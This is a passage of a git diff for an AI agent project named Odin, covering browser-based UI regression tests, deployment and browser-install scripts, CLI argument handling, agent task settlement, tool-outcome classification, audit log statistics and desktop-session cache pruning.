flush(); const gates={}; + api.get=path=>{const g=defer(); gates[path.split('/').pop()]=g;return g.promise;}; + identityId.value='123456789012345672'; await flush(); identityId.value='123456789012345673'; await flush(); + gates['123456789012345673'].resolve({user:{id:'123456789012345673',display_name:'B'}}); await flush(); + gates['123456789012345672'].resolve({user:{id:'123456789012345672',display_name:'A'}}); await flush(); + return document.querySelector('#app').textContent; + }); + assert.ok(identity.includes('B')); assert.ok(!identity.includes('A')); assert.ok(identity.includes('123456789012345673')); + + // #522 native Enter, Space and pointer clicks on the explicit Add button. + await page.evaluate(() => comboMount()); + for (const key of ['Enter','Space',null]) { + await page.locator('input').fill('Alice'); + if (key) { await page.getByRole('button',{name:'Add',exact:true}).focus(); await page.keyboard.press(key); } + else await page.getByRole('button',{name:'Add',exact:true}).click(); + } + assert.deepEqual(await page.evaluate(()=>selected), Array(3).fill('12345678901234567')); + + // #523 exact source text after DOM parsing, including HTML-like Python strings. + assert.equal(await page.evaluate(() => { + const code='class Demo:\n s = "str # class & hello"\n # return 123\n print(s)\n'; + const pre=document.createElement('pre'); pre.innerHTML=highlightPython(code); return pre.textContent===code; + }),true); + // #531 mixed lifecycle records count only loaded skills. + assert.equal(await page.evaluate(async()=>{await mount('Skills');state.skills.value=[{status:'loaded'},{status:'disabled'},{status:'error'}];return state.enabledCount.value;}),1); + + // #524 long pause remains capped and loss is visible; bounded resume. + const paused = await page.evaluate(async()=>{ + await mount('Logs'); state.togglePause(); + for(let i=0;i<10001;i++) emit('logs',{type:'log',line:JSON.stringify({timestamp:new Date(Date.now()).toISOString(),level:'INFO',message:'row '+i})}); + const result={buffer:state.pauseBuffer.value.length,dropped:state.pauseDropped.value}; + state.togglePause(); result.rows=state.logs.value.length; return result; + }); + assert.deepEqual(paused,{buffer:2000,dropped:8001,rows:2000}); + assert.deepEqual(await page.evaluate(()=>{ + state.clearLogs(); state.togglePause(); + for(let i=0;i<10001;i++) emit('logs',{payload:{type:'tool_start',tool_name:'run_command',call_id:'reused',agent_id:'agent',iteration:1,message:'phase '+i}}); + return [state.pauseBuffer.value.length,state.pauseDropped.value]; + }),[2000,8001], 'raw correlated pause records cannot accumulate inside one merged row'); + await page.evaluate(()=>{state.clearLogs();state.togglePause();for(let i=0;i<2000;i++)emit('logs',{type:'log',line:JSON.stringify({timestamp:new Date(Date.now()).toISOString(),message:'idle '+i})});}); + + // #525 idle clock invalidation, KeepAlive cleanup and activation refresh. + assert.deepEqual(await page.evaluate(async()=>{ + state.timeRange.value='last_5m'; const before=state.filteredLogs.value.length; await tick(600000); + const after=state.filteredLogs.value.length; await hide(); const hiddenTimers=clockTimerCount(); await show(); const shownTimers=clockTimerCount(); + return {before,after,hiddenTimers,shownTimers}; + }),{before:2000,after:0,hiddenTimers:0,shownTimers:1}); + assert.deepEqual(await page.evaluate(async()=>{ + await mount('Sessions'); state.sessions.value=[{channel_id:'idle',last_active:Date.now()/1000,message_count:1}]; + state.activePreset.value='active'; const before=state.filteredSessions.value.length; await tick(86400000); return [before,state.filteredSessions.value.length]; + }),[1,0]); + + // #526 run an adversarial valid pattern through actual filtering, timed by + // the browser. RE2 is linear and rejects unsupported lookaround/backrefs. + const regex = await page.evaluate(async()=>{ + await mount('Logs'); state.textFilter.value='(a+)+$'; state.useRegex.value=true; + emit('logs',{type:'log',line:JSON.stringify({message:'a'.repeat(5000)+'!',level:'INFO'})}); + const start=performance.now(); const count=state.filteredLogs.value.length; const elapsed=performance.now()-start; + state.textFilter.value='(?=a)'; const unsupported=state.regexError.value; + return {count,elapsed,unsupported}; + }); + assert.equal(regex.count,0); assert.ok(regex.elapsed<1000,JSON.stringify(regex)); assert.ok(regex.unsupported); + + // #527 selected file sends all filters to server before the result limit. + assert.equal(await page.evaluate(async()=>{ + await mount('Traces'); let requested='';api.get=async path=>{requested=path;return {entries:[{tools_used:['target'],is_error:true,channel_id:'c',user_id:'u'}]};}; + state.selectedFile.value='2026-09-29.jsonl'; state.filters.value={tool_name:'target',errors_only:true,channel_id:'c',user_id:'u',limit:1}; + await state.fetchTraces();const params=new URL(requested,location.origin).searchParams; + return params.get('tool_name')==='target' && params.get('errors_only')==='true' && params.get('channel_id')==='c' && params.get('user_id')==='u' && state.entries.value.length===1; + }),true); + + // #528 validates and submits the existing steps contract, including condition. + const workflow=await page.evaluate(async()=>{ + await mount('Schedules');let posted=null;api.post=async(path,payload)=>{posted=payload;return {};}; + Object.assign(state.form.value,{action:'workflow',description:'test',channel_id:'c',cron:'0 * * * *',steps_str:'[]'}); + await state.doCreate(); const invalid=!!state.createError.value && !posted; + state.form.value.steps_str=JSON.stringify([{tool_name:'run_command',tool_input:{host:'fixture',command:'uptime'},condition:'OK',on_failure:'continue'}]); + await state.doCreate(); return {invalid,steps:posted?.steps,error:state.createError.value}; + }); + assert.equal(workflow.invalid,true); assert.equal(workflow.error,null); assert.equal(workflow.steps[0].condition,'OK'); + + // #529 evidence gaps retire running cards as UNKNOWN, not fabricated success. + // #530 independent channels, agents and iterations reuse model-local call IDs. + const execution=await page.evaluate(async()=>{ + await mount('Execution'); + const event=(type,channel,agent='',iteration=1,extra={})=>({payload:{type,action:'run_command',channel_id:channel,call_id:'same',agent_id:agent,iteration,...extra}}); + emit('events',event('tool_start','A'));emit('events',event('tool_start','B')); + emit('events',event('tool_stream','A','',1,{tool_name:'run_command',chunk:'alpha'})); + emit('events',event('tool_stream','B','',1,{tool_name:'run_command',chunk:'beta'})); + const separate=state.activeTasks.value.map(t=>[t.channel,state.streamOutput.value[t.id]]); + emit('events',event('tool_end','A')); const terminal=state.activeTasks.value.map(t=>[t.channel,t.status]); + emit('events',event('tool_start','B','agent',1));emit('events',event('tool_start','B','agent',2)); + emit('events',event('tool_end','B','agent',1)); + const iterations=state.activeTasks.value.filter(t=>t.agentId==='agent').map(t=>[t.iteration,t.status]); + await hide();const hidden=state.recentHistory.value.map(t=>t.status);await show(); + emit('events',event('tool_start','C'));connection('reconnecting');const disconnected=state.recentHistory.value.find(t=>t.channel==='C')?.status; + return {separate,terminal,iterations,hidden,disconnected,remaining:state.activeTasks.value.filter(t=>t.status==='running').length}; + }); + assert.deepEqual(execution.separate,[['B','beta'],['A','alpha']]); + assert.deepEqual(execution.terminal,[['B','running'],['A','success']]); + assert.deepEqual(execution.iterations,[[2,'running'],[1,'success']]); + assert.ok(execution.hidden.every(status=>status==='unknown')); assert.equal(execution.disconnected,'unknown'); assert.equal(execution.remaining,0); + assert.deepEqual(await page.evaluate(()=>{ + emit('events',{payload:{type:'tool_start',action:'check',channel_id:'D',call_id:'duplicate',metadata:{originating_turn_id:'turn-A',iteration:1}}}); + emit('events',{payload:{type:'tool_start',action:'check',channel_id:'D',call_id:'duplicate',metadata:{originating_turn_id:'turn-B',iteration:1}}}); + emit('events',{payload:{type:'tool_end',action:'check',channel_id:'D',call_id:'duplicate',audit_metadata:{originating_turn_id:'turn-A',iteration:1}}}); + return state.activeTasks.value.filter(t=>t.channel==='D').map(t=>[t.turnId,t.status]); + }),[['turn-B','running'],['turn-A','success']]); + assert.deepEqual(await page.evaluate(()=>{ + for (const loop of ['loop-A','loop-B']) emit('events',{payload:{type:'loop_tool_start',action:'check',channel_id:'L',call_id:'same',loop_id:loop,iteration:1}}); + emit('events',{payload:{type:'loop_tool',action:'check',channel_id:'L',call_id:'same',loop_id:'loop-A',iteration:1}}); + return state.activeTasks.value.filter(t=>t.channel==='L').map(t=>[t.loopId,t.status]); + }),[['loop-B','running'],['loop-A','success']]); + assert.deepEqual(errors,[]); + console.log('v410-webui: #517-531 realistic Vue/Chromium regressions passed'); +} finally { await browser?.close(); await server.close(); } diff --git a/scripts/codex_login.py b/scripts/codex_login.py index 333821497..73e2845f0 100644 --- a/scripts/codex_login.py +++ b/scripts/codex_login.py @@ -22,7 +22,7 @@ sys.path.insert(0, str(Path(__file__).parent.parent)) -from src.llm.codex_auth import CodexAuth +from src.llm.codex_auth import CodexAuth, _atomic_write_secure, merge_authorized_account class CallbackHandler(BaseHTTPRequestHandler): @@ -64,8 +64,11 @@ def log_message(self, format, *args): def _save_creds(creds: dict, path: Path) -> None: path.parent.mkdir(parents=True, exist_ok=True) - path.write_text(json.dumps(creds, indent=2)) - path.chmod(0o600) + raw = json.loads(path.read_text()) if path.exists() else [] + if not isinstance(raw, (dict, list)): + raise ValueError("Existing credentials must be an account object or list") + accounts = merge_authorized_account(raw, creds) + _atomic_write_secure(path, json.dumps(accounts, indent=2)) email = creds.get("email", "unknown") account_id = creds.get("account_id", "unknown") diff --git a/scripts/docker-compose-entrypoint.sh b/scripts/docker-compose-entrypoint.sh new file mode 100755 index 000000000..e8d083af6 --- /dev/null +++ b/scripts/docker-compose-entrypoint.sh @@ -0,0 +1,21 @@ +#!/bin/sh +set -eu + +config_dir="${ODIN_COMPOSE_CONFIG_DIR:-/app/config}" +legacy_config="${ODIN_COMPOSE_LEGACY_CONFIG:-/app/config.yml}" +target="$config_dir/config.yml" + +mkdir -p "$config_dir" +if [ ! -e "$target" ] && [ -f "$legacy_config" ]; then + # One-time, non-overwriting migration enables atomic config replacement + # through the writable directory mount without discarding legacy settings. + cp -p "$legacy_config" "$target" +fi + +if [ -f "$target" ]; then + # The state is bound to the canonical config path. Preserve pending setup + # and the completed install's explicit listener decision during relocation. + python -m src.config.package_migrations --compose-initialization "$legacy_config" "$target" + exec python -m src "$target" +fi +exec python -m src diff --git a/scripts/docs/generate_api_reference.py b/scripts/docs/generate_api_reference.py index 127f6ea47..875474a56 100644 --- a/scripts/docs/generate_api_reference.py +++ b/scripts/docs/generate_api_reference.py @@ -221,7 +221,7 @@ def render() -> str: ) lines += [ "", "### Conditional registration", "", - "The constructor always registers health/metrics, independently of the WebUI " + "The constructor always registers health endpoints, independently of the WebUI " "and webhook switches. Webhooks are registered only when `webhooks.enabled`. " "The UI requires `web.enabled` and an existing UI directory: it prefers " "`ui/dist` when `ui/dist/index.html` exists, otherwise falls back to `ui`; " diff --git a/scripts/incus-deploy.sh b/scripts/incus-deploy.sh index 2e6f4c525..f2174bfdc 100755 --- a/scripts/incus-deploy.sh +++ b/scripts/incus-deploy.sh @@ -86,6 +86,8 @@ echo "Pushing project files..." incus file push "$SCRIPT_DIR/pyproject.toml" "$INSTANCE/app/pyproject.toml" incus file push "$SCRIPT_DIR/config.yml" "$INSTANCE/app/config.yml" incus file push -r "$SCRIPT_DIR/src" "$INSTANCE/app/" +incus file push -r "$SCRIPT_DIR/ui" "$INSTANCE/app/" +incus file push "$SCRIPT_DIR/scripts/install-browser-runtime.sh" "$INSTANCE/app/install-browser-runtime.sh" # Push .env as environment file incus file push "$SCRIPT_DIR/.env" "$INSTANCE/app/.env" @@ -101,15 +103,21 @@ fi # Push data templates if they exist for tmpl in "$SCRIPT_DIR"/data/context/*.template "$SCRIPT_DIR"/data/skills/*.template; do - [ -f "$tmpl" ] && incus file push "$tmpl" "$INSTANCE/app/data/$(dirname "${tmpl#$SCRIPT_DIR/data/"}")/$(basename "$tmpl")" + [ -f "$tmpl" ] || continue + relative_path="${tmpl#"$SCRIPT_DIR"/}" + incus file push "$tmpl" "$INSTANCE/app/$relative_path" done # Install Python dependencies echo "Installing Python dependencies..." incus exec "$INSTANCE" -- bash -c " # .[pdf] — see packaging/postinstall.sh: analyze_pdf needs PyMuPDF. - cd /app && pip install --no-cache-dir --break-system-packages '.[pdf]' > /dev/null 2>&1 + cd /app && pip install --no-cache-dir --break-system-packages '.[pdf,browser]' > /dev/null 2>&1 " +incus exec "$INSTANCE" -- bash -c ' + export PLAYWRIGHT_BROWSERS_PATH=/app/.cache/ms-playwright + sh /app/install-browser-runtime.sh python3 --with-deps +' # Set ownership incus exec "$INSTANCE" -- chown -R odin:odin /app @@ -128,6 +136,7 @@ WorkingDirectory=/app StateDirectory=odin-workspace StateDirectoryMode=0700 EnvironmentFile=/app/.env +Environment=PLAYWRIGHT_BROWSERS_PATH=/app/.cache/ms-playwright ExecStart=/usr/bin/python3 -m src Restart=on-failure RestartSec=10 diff --git a/scripts/install-browser-runtime.sh b/scripts/install-browser-runtime.sh new file mode 100644 index 000000000..6bbb19fea --- /dev/null +++ b/scripts/install-browser-runtime.sh @@ -0,0 +1,13 @@ +#!/bin/sh +# Provision and qualify the native Chromium used by BrowserManager. The cache +# must be shared with the runtime user, not the installer's private home. +set -eu +: "${PLAYWRIGHT_BROWSERS_PATH:?Set the runtime browser cache path}" +python="$1" +shift +"$python" -m playwright install "$@" chromium +"$python" -c 'from playwright.sync_api import sync_playwright +with sync_playwright() as p: + browser = p.chromium.launch(headless=True, args=["--no-sandbox", "--disable-setuid-sandbox", "--disable-dev-shm-usage", "--disable-gpu"]) + browser.close() +' diff --git a/scripts/odin-cli.py b/scripts/odin-cli.py index 75d114118..18104b7b1 100755 --- a/scripts/odin-cli.py +++ b/scripts/odin-cli.py @@ -23,9 +23,43 @@ import sys import urllib.error import urllib.request +from pathlib import Path + + +def legacy_server_arguments(argv: list[str]) -> bool: + """Fence old server invocations before interpreting anything as a prompt.""" + if any(arg in {"-c", "--config", "--env-file"} + or arg.startswith(("--config=", "--env-file=")) + or (arg.startswith("-c") and not arg.startswith("--")) for arg in argv): + return True + value_options = {"--url", "--token", "--timeout"} + skip = False + positional = [] + for arg in argv: + if skip: + skip = False + continue + if arg in value_options: + skip = True + elif not arg.startswith("-"): + positional.append(arg) + for arg in positional: + path = Path(arg).expanduser() + try: + if path.is_file(): + return True + except OSError: + pass + if not any(char.isspace() for char in arg) and path.suffix.lower() in {".yaml", ".yml"}: + return True + return False def main() -> int: + if legacy_server_arguments(sys.argv[1:]): + print("The server command is now odin-server; no prompt was sent. " + "Run odin-server with your configuration arguments.", file=sys.stderr) + return 2 parser = argparse.ArgumentParser( description="Talk to Odin from the command line.", epilog="Set ODIN_URL and ODIN_API_TOKEN environment variables for defaults.", @@ -98,8 +132,9 @@ def main() -> int: tools = data.get("tools_used", []) if tools and not response: print(f"Tools used: {', '.join(tools)}") - if data.get("is_error"): - return 1 + # Machine-readable output changes presentation, not the process outcome. + if data.get("is_error"): + return 1 return 0 diff --git a/scripts/odin-server b/scripts/odin-server new file mode 100755 index 000000000..1076f671e --- /dev/null +++ b/scripts/odin-server @@ -0,0 +1,5 @@ +#!/bin/sh +set -eu +cd /opt/odin +export PLAYWRIGHT_BROWSERS_PATH="${PLAYWRIGHT_BROWSERS_PATH:-/opt/odin/.cache/ms-playwright}" +exec /opt/odin/.venv/bin/python -m src "$@" diff --git a/src/__main__.py b/src/__main__.py index ba937e7d6..3ca56d06d 100644 --- a/src/__main__.py +++ b/src/__main__.py @@ -24,44 +24,12 @@ def _wire_observability(health, bot, log) -> None: - """Register Prometheus metric sources and component health checks. - - HealthServer wires only an "active sessions" gauge by default, so without - this /metrics exposes liveness only and /health/ready can never reflect a - degraded subsystem — even though MetricsCollector and the component registry - already support all of the below. Every source/check is guarded so a missing - optional subsystem is skipped rather than fatal, and every check is cheap and - synchronous (called on each health/metrics request). - """ - metrics = health.metrics - - tool_executor = getattr(bot, "tool_executor", None) - if tool_executor is not None and hasattr(tool_executor, "get_metrics"): - metrics.register_source("tools", tool_executor.get_metrics) - if tool_executor is not None and hasattr(tool_executor, "get_workspace_metrics"): - # Paired with the deliberate absence of auto-pruning: growth in the - # local command workspace must be alertable rather than silently - # unbounded (PR #239 round-2 review). - metrics.register_source("workspace", tool_executor.get_workspace_metrics) - - cost_tracker = getattr(bot, "cost_tracker", None) - if cost_tracker is not None and hasattr(cost_tracker, "get_prometheus_metrics"): - metrics.register_source("cost_tracker", cost_tracker.get_prometheus_metrics) - - trajectory_saver = getattr(bot, "trajectory_saver", None) - if trajectory_saver is not None and hasattr(trajectory_saver, "get_prometheus_metrics"): - metrics.register_source("trajectories", trajectory_saver.get_prometheus_metrics) - + """Register cheap component health checks for the health endpoints.""" scheduler = getattr(bot, "scheduler", None) - if scheduler is not None: - metrics.register_source("scheduler", lambda: len(getattr(scheduler, "_schedules", []))) - - loop_manager = getattr(bot, "loop_manager", None) - if loop_manager is not None: - metrics.register_source("loops", lambda: len(getattr(loop_manager, "_loops", {}))) - def _discord_health() -> tuple[bool, str]: try: + if not bot.config.discord.token: + return (True, "not configured (HTTP-only mode)") latency = bot.latency # latency == latency filters out NaN (discord.py before first heartbeat) if latency and latency == latency: @@ -82,7 +50,7 @@ def _scheduler_health() -> tuple[bool, str]: health.register_component("scheduler", _scheduler_health) - log.info("Observability wired: metric sources and component health checks registered") + log.info("Observability wired: component health checks registered") def _enable_process_containment(log) -> bool: @@ -632,7 +600,6 @@ def _warn_fallback(path, configured, reason) -> None: port=config.web.port, webhook_config=config.webhook, web_config=config.web, - grafana_alert_config=getattr(config, "grafana_alerts", None), ) bot = OdinBot(config) from src.web.bootstrap_policy import CredentialInventory diff --git a/src/agents/manager.py b/src/agents/manager.py index 681a55dd7..64738efc2 100644 --- a/src/agents/manager.py +++ b/src/agents/manager.py @@ -812,7 +812,7 @@ def spawn( ) agent._task = task # Schedule cleanup when the agent task finishes (any exit path) - task.add_done_callback(lambda _t: self._schedule_cleanup(agent_id)) + task.add_done_callback(lambda finished: self._agent_task_done(agent_id, finished)) self._agents[agent_id] = agent if trajectory_saver is not None: self._result_savers[agent_id] = trajectory_saver @@ -1234,10 +1234,42 @@ def _remove_agent(self, agent_id: str, source: str = "") -> bool: return True return False - def _schedule_cleanup(self, agent_id: str) -> None: + def _agent_task_done(self, agent_id: str, task: asyncio.Future) -> None: + """Own settlement even when cancellation prevented coroutine entry.""" + agent = self._agents.get(agent_id) + orphan = None + if agent is not None and not agent._sm.is_terminal: + if task.cancelled(): + agent.transition(AgentState.KILLED, "task cancelled before terminal settlement") + else: + agent.transition(AgentState.FAILED, "task exited without terminal settlement") + agent.error = "Agent task exited without terminal settlement." + task.exception() # retrieve an unhandled task exception + agent.ended_at = time.time() + orphan = AgentTrajectoryTurn( + agent_id=agent.id, label=agent.label, goal=agent.goal, + channel_id=agent.channel_id, requester_id=agent.requester_id, + requester_name=agent.requester_name, depth=agent.depth, + parent_id=agent.parent_id, + ) + orphan.finalize( + final_state=agent.state.value, result=agent.result, error=agent.error, + tools_used=list(agent.tools_used), iteration_count=agent.iteration_count, + recovery_attempts=agent.recovery_attempts, + state_history=agent._sm.history_as_dicts(), + ) + self._schedule_cleanup(agent_id, orphan) + + def _schedule_cleanup(self, agent_id: str, orphan=None) -> None: """Schedule cleanup of an agent after CLEANUP_DELAY.""" async def _delayed_cleanup(): + saver = self._result_savers.get(agent_id) + if orphan is not None and saver is not None: + try: + await saver.save(orphan) + except Exception: + log.exception("Failed to save unstarted agent trajectory for %s", agent_id) await asyncio.sleep(CLEANUP_DELAY) self._remove_agent(agent_id, source="delayed_cleanup") @@ -1555,6 +1587,12 @@ def _check_lifetime() -> bool: text = content_text(response.get("text", "")) tool_calls = normalize_tool_calls(response.get("tool_calls", [])) + if response.get("stop_reason") == "incomplete": + agent.result = text + agent.error = "Provider marked this response incomplete; partial output retained." + agent.transition(AgentState.FAILED, agent.error) + agent.ended_at = time.time() + return context_density, context_density_source, context_primary_chars = _budget_observation( generation_state ) diff --git a/src/agents/repetition.py b/src/agents/repetition.py index 559b58dc9..c2590344a 100644 --- a/src/agents/repetition.py +++ b/src/agents/repetition.py @@ -27,7 +27,7 @@ def observe(self, calls: list[dict], results: list[dict]) -> str: { "name": c["name"], "input": c["input"], - "result": r["result"], + "result": r.get("evidence_digest") or r["result"], "status": r["status"], "uncertain_outcome": r.get("uncertain_outcome", False), } diff --git a/src/agents/tool_cycle.py b/src/agents/tool_cycle.py index 3c8056a3f..2a685f872 100644 --- a/src/agents/tool_cycle.py +++ b/src/agents/tool_cycle.py @@ -25,6 +25,7 @@ def result_record(call: dict, text: str, status: str, *, uncertain: bool = False "name": call["name"], "tool_use_id": call["id"], "result": text, + "evidence_digest": text.evidence_digest if isinstance(text, DeliveredOutput) else "", "ok": status == "succeeded", "status": status, "uncertain_outcome": uncertain, @@ -122,13 +123,18 @@ async def dispatch(): append_image_messages(image_messages, tool_image_content( list(raw.image_blocks), name, call["id"])) else: + from ..tools.execution_outcome import ToolFailure + text = raw if isinstance(raw, str) else str(raw) status = "failed" if _is_error_result(text) else "succeeded" if text.startswith( ("Denied", "Permission denied", "Unknown or disallowed host") ): status = "denied" - record = result_record(call, text, status) + uncertain = isinstance(raw, ToolFailure) and raw.uncertain_outcome + if uncertain: + status = "outcome_unknown" + record = result_record(call, text, status, uncertain=uncertain) from ..tools.output_delivery import DeliveredOutput if (not record["ok"] and not isinstance(record["result"], DeliveredOutput) @@ -146,7 +152,13 @@ async def dispatch(): uncertain=not effect_free, ) except Exception as exc: - record = result_record(call, f"Error: {exc}", "failed") + from ..tools.effect_classifier import ToolEffectClass, classify_tool_effect + + uncertain = classify_tool_effect(name, arguments) != ( + ToolEffectClass.EFFECT_FREE_OBSERVATION) + record = result_record(call, f"Error: {exc}", + "outcome_unknown" if uncertain else "failed", + uncertain=uncertain) finally: waiting_agent.reset(context_token) results.append(record) diff --git a/src/agents/trajectory.py b/src/agents/trajectory.py index d0b4c2366..db6dc3427 100644 --- a/src/agents/trajectory.py +++ b/src/agents/trajectory.py @@ -397,6 +397,3 @@ async def search( except Exception as e: log.error("Error reading %s for agent trajectory search: %s", filename, e) return results - - def get_prometheus_metrics(self) -> dict: - return {"agent_trajectories_saved_total": self._count} diff --git a/src/audit/diff_tracker.py b/src/audit/diff_tracker.py index fcc030ad5..43da0d6d7 100644 --- a/src/audit/diff_tracker.py +++ b/src/audit/diff_tracker.py @@ -27,9 +27,13 @@ def compute_unified_diff( after_lines, fromfile=f"a/{label}", tofile=f"b/{label}", - lineterm="", + lineterm="\n", ) - result = "".join(diff) + # difflib leaves content records unterminated when their source line was + # unterminated. Preserve that fact using the conventional patch marker, + # rather than gluing the next +/- record onto the same line. + result = "".join(line if line.endswith("\n") else line + "\n\\ No newline at end of file\n" + for line in diff) if len(result) > max_chars: return result[:max_chars] + "\n[diff truncated]" return result diff --git a/src/audit/logger.py b/src/audit/logger.py index c7a79f528..9963aa8e5 100644 --- a/src/audit/logger.py +++ b/src/audit/logger.py @@ -795,36 +795,37 @@ def _match(entry: dict) -> bool: return results async def get_log_stats(self) -> dict: - """Return summary statistics for the log file.""" - if not self.path.exists(): - return {"total": 0, "errors": 0, "tools": 0, "web_actions": 0} - + """Summarize the same stable retained generations searched by history.""" total = 0 errors = 0 tools: set[str] = set() web_actions = 0 + snapshot = await self._open_read_snapshot() try: - async with aiofiles.open(self.path) as f: - async for line in f: - line = line.strip() - if not line: - continue - try: - entry = json.loads(line) - except json.JSONDecodeError: - continue - total += 1 - if entry.get("error"): - errors += 1 - tn = entry.get("tool_name") - if (tn and entry.get("type") not in {"token_change", "permission_change"} - and not entry.get("audit_observer")): - tools.add(tn) - if entry.get("type") == "web_action": - web_actions += 1 - except Exception as exc: - log.error("Failed to read audit log for stats: %s", exc) + for handle, _stat in snapshot: + try: + async for line in _iter_lines_reverse(handle.fileno()): + try: + entry = json.loads(line) + except json.JSONDecodeError: + continue + if not isinstance(entry, dict): + continue + total += 1 + if entry.get("error"): + errors += 1 + tn = entry.get("tool_name") + if (tn and entry.get("type") not in {"token_change", "permission_change"} + and not entry.get("audit_observer")): + tools.add(tn) + if entry.get("type") == "web_action": + web_actions += 1 + except OSError as exc: + log.error("Failed to read audit log snapshot for stats: %s", exc) + finally: + for handle, _stat in snapshot: + handle.close() return { "total": total, diff --git a/src/cli.py b/src/cli.py new file mode 100644 index 000000000..5b03da473 --- /dev/null +++ b/src/cli.py @@ -0,0 +1,75 @@ +"""HTTP client CLI entrypoint (distinct from the ``odin-server`` daemon).""" +from __future__ import annotations + +import argparse +import json +import os +import sys +import urllib.error +import urllib.request +from pathlib import Path + + +def legacy_server_arguments(argv: list[str]) -> bool: + """Fence old server invocations before interpreting anything as a prompt.""" + if any(arg in {"-c", "--config", "--env-file"} + or arg.startswith(("--config=", "--env-file=")) + or (arg.startswith("-c") and not arg.startswith("--")) for arg in argv): + return True + value_options = {"--url", "--token", "--timeout"} + skip = False + positional = [] + for arg in argv: + if skip: + skip = False + continue + if arg in value_options: + skip = True + elif not arg.startswith("-"): + positional.append(arg) + for arg in positional: + path = Path(arg).expanduser() + try: + if path.is_file(): + return True + except OSError: + pass + if not any(char.isspace() for char in arg) and path.suffix.lower() in {".yaml", ".yml"}: + return True + return False + + +def main() -> int: + if legacy_server_arguments(sys.argv[1:]): + print("The server command is now odin-server; no prompt was sent. " + "Run odin-server with your configuration arguments.", file=sys.stderr) + return 2 + parser = argparse.ArgumentParser(description="Send a prompt to an Odin API.") + parser.add_argument("prompt", nargs="?") + parser.add_argument("--url", default=os.environ.get("ODIN_URL", "http://localhost:3000")) + parser.add_argument("--token", default=os.environ.get("ODIN_API_TOKEN", "")) + parser.add_argument("--json", action="store_true", dest="json_output") + parser.add_argument("--timeout", type=int, default=600) + args = parser.parse_args() + prompt = args.prompt or (sys.stdin.read().strip() if not sys.stdin.isatty() else "") + if not prompt: + parser.print_help() + return 1 + headers = {"Content-Type": "application/json"} + if args.token: + headers["Authorization"] = f"Bearer {args.token}" + request = urllib.request.Request( + f"{args.url.rstrip('/')}/api/execute", + data=json.dumps({"prompt": prompt}).encode(), headers=headers, + ) + try: + with urllib.request.urlopen(request, timeout=args.timeout) as response: + data = json.loads(response.read().decode()) + except (urllib.error.URLError, urllib.error.HTTPError) as exc: + print(f"Connection/API error: {exc}", file=sys.stderr) + return 1 + if args.json_output: + print(json.dumps(data, indent=2)) + else: + print(data.get("response", "")) + return 1 if data.get("is_error") else 0 diff --git a/src/computer/controller.py b/src/computer/controller.py index 9304d5272..3ed8bd242 100644 --- a/src/computer/controller.py +++ b/src/computer/controller.py @@ -157,6 +157,34 @@ def __init__( self._x11_focus_candidates: dict[str, tuple[str, object]] = {} self.store.recover() + def _prune_caches(self): + """Retire expired selection proof and settled terminal-session metadata.""" + now = self.monotonic() + for epoch, binding in tuple(self._selection_bindings.items()): + if binding["expires_at"] <= now: + self._selection_bindings.pop(epoch, None) + caches = (self._stop_locks, self._hyprland_contexts, self._hyprland_bindings, + self._hyprland_recovery_epochs, self._delivered_observations, + self._x11_focus_candidates) + for sid in set().union(*(cache.keys() for cache in caches)): + if (sid in self._live or sid in self._stops or sid in self._recoveries + or sid in self._hyprland_preparations or sid in self._watchdogs): + continue + lock = self._stop_locks.get(sid) + # Queued waiters still own the exact lock. Never create a second + # lock for a later request until every user has settled. + if lock is not None and (lock.locked() or getattr(lock, "_waiters", None)): + continue + try: + terminal = self.store.get_session(sid).state in {"closed", "cancelled"} + except Exception: + # Cache retirement is best effort, never a new failure in the + # completed cleanup callback if storage itself is unavailable. + terminal = False + if terminal: + for cache in caches: + cache.pop(sid, None) + async def _close_inventory_backend(self, backend): close = getattr(backend, "close", None) if callable(close): @@ -889,6 +917,7 @@ async def _stop(self, sid, state): def forget(completed): if self._stops.get(sid) is completed: self._stops.pop(sid) + self._prune_caches() task.add_done_callback(forget) try: @@ -1027,6 +1056,8 @@ async def set_enabled(self, enabled: bool): async def close(self): await self.set_enabled(False) + self._selection_bindings.clear() + self._prune_caches() async def finish_turn(self, context: RequestContext): """Release this turn's owned desktop, never a later turn's session.""" @@ -1181,6 +1212,7 @@ async def _session(self, context: RequestContext, inp: dict, boundary) -> dict: ) operation = inp["operation"] await self._auth(context, emergency=operation in {"stop", "cancel", "close", "status"}) + self._prune_caches() if operation == "inventory_targets": exact_keys(inp, {"operation"}, {"operation"}) backend = self.backend_factory(None) @@ -1521,6 +1553,10 @@ async def _session(self, context: RequestContext, inp: dict, boundary) -> dict: grant = self.store.set_state( grant.session_id, "paused", revoke=True, turn_id=context.turn_id ) + if live.capabilities is not None and live.capabilities.backend == "hyprland": + # Publish the authorized turn together with its durable + # rebind, before any capture can trigger native recovery. + self._hyprland_contexts[grant.session_id] = context live.observations.clear() resume = getattr(live.backend, "resume", None) if resume is None: @@ -2032,7 +2068,14 @@ async def operator_release_owned_input(self, context, session_id, generation): # acquire the action lock first: the native recovery closes input. self._fence(session_id) try: - self.store.set_state(session_id, "paused", revoke=True) + pending = self.store.get_recovery_pending(session_id) + # Keep the durable incident fence while native release is in flight. + # A successful ledger release may resolve unknown_release below, + # but cannot resolve a wrong-target/native-continuity incident. + state = ( + "quarantined" if pending is not None or grant.state == "quarantined" else "paused" + ) + fenced_grant = self.store.set_state(session_id, state, revoke=True) except BaseException: await self._stop(session_id, "cancelled") raise @@ -2052,7 +2095,13 @@ async def operator_release_owned_input(self, context, session_id, generation): await self._stop(session_id, "cancelled") raise await self._auth(context, emergency=True) - if receipt.get("released") is not True: + if ( + receipt.get("released") is True + and pending is not None + and pending.phase == "unknown_release" + ): + self.store.finish_emergency_ledger_release(fenced_grant, pending) + elif receipt.get("released") is not True: self.store.set_state(session_id, "quarantined") return { **self._public_session(self.store.get_session(session_id)), @@ -2294,16 +2343,20 @@ def preflight(code, state): return {**receipt, "next_observation": next_observation} return receipt except BaseException as exc: - self._finish_action( - live.capabilities, grant.session_id, inp["action_id"], - {"status": "interrupted" if released else "unknown", - "reason": ("effect_unknown_reconcile_no_replay" if released - else "input_release_unknown"), - "execution": {"injected": None, "sent": None, "released": released}, - "verification": {"status": "unavailable"}}, - ) - if not released: - await self._stop(grant.session_id, "cancelled") + try: + self._finish_action( + live.capabilities, grant.session_id, inp["action_id"], + {"status": "interrupted" if released else "unknown", + "reason": ("effect_unknown_reconcile_no_replay" if released + else "input_release_unknown"), + "execution": {"injected": None, "sent": None, "released": released}, + "verification": {"status": "unavailable"}}, + ) + finally: + # Receipt storage must never prevent native revocation after + # an unknown release, including a second persistence failure. + if not released: + await self._stop(grant.session_id, "cancelled") if isinstance(exc, 